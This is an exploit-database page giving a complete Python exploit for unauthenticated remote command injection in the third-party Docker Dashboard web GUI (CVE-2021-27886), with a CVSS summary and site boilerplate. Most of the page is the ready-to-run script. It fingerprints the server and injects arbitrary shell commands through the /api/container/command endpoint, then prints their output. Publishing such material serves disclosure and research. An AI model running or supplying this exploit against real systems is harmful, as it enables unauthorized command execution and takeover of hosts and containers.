Docker Dashboard Remote Command Execution

2021.07.07
Credit: Jeremy Brown
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/python # -*- coding: UTF-8 -*- # # dockdash.py # # Docker Dashboard Remote Command Execution Exploit # # Jeremy Brown [jbrown3264/gmail] # July 2021 # # "A simple web based GUI for managing Docker containers and images" # # Note: this app is NOT part of the official docker product, nor related to the # Docker Dashboard UI in Docker Desktop. They are different projects and maintainers. # # More info: https://dockerdashboard.github.io # # ------- # Details # ------- # # The web GUI runs on port 3230. There are two main issues that enable the RCE... # # 1) Although when starting the server it says go to http://localhost:3230, it's # actually listening on the network interface by default. There is no auth # so anyone with access can start exercising functionality of the app. # # 2) Normally these controllers are used to start, stop or create new containers. # But no validation of parameters or filtering based on acceptable commands sent # sent to docker on the backend enables clean, vanilla command injection as the # running user. Many of the APIs are vulnerable, with the most notables ones # being /api/container/command and /api/image/command. # # ---- # Demo # ---- # # > ./dockdash.py 10.1.1.102 "uname -a;pwd" # Linux ubuntu 5.4.0-48-generic #51-Ubuntu x86_64 GNU/Linux # /opt/docker-web-gui/backend # # CVE-2021-27886 # # Fix # - commit 79cdc41 # import sys import argparse import requests DEFAULT_PORT = 3230 SIGNATURE = ('X-Powered-By', 'Express') class DockDash(object): def __init__(self, args): self.target = args.target self.cmd = args.cmd def run(self): target = "http://" + self.target + ':' + str(DEFAULT_PORT) session = requests.Session() try: resp = session.head(target + "/") except Exception as error: print("Error: %s" % error) return -1 if(SIGNATURE not in resp.headers.items()): print("%s doesn't look like a dashboard server..." % target) return -1 commands = self.cmd.split(';') # # "out here trying to get a mf'in scholarship" # for command in commands: try: resp = session.get(target + \ "/api/container/command?container=&command=;" + command) #"/api/image/command?image=&command=;" + command) except Exception as error: print("Error: %s" % error) return -1 if(resp.status_code == 200): response = resp.text.strip('"').replace('\\n', '\n') print("%s" % response) else: print("something went wrong, server returned %d" % resp.status_code) return -1 return 0 def arg_parse(): parser = argparse.ArgumentParser() parser.add_argument("target", type=str, help="DD host") parser.add_argument("cmd", type=str, help="command to execute") args = parser.parse_args() return args def main(): args = arg_parse() dd = DockDash(args) result = dd.run() if(result > 0): sys.exit(-1) if(__name__ == '__main__'): main()


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top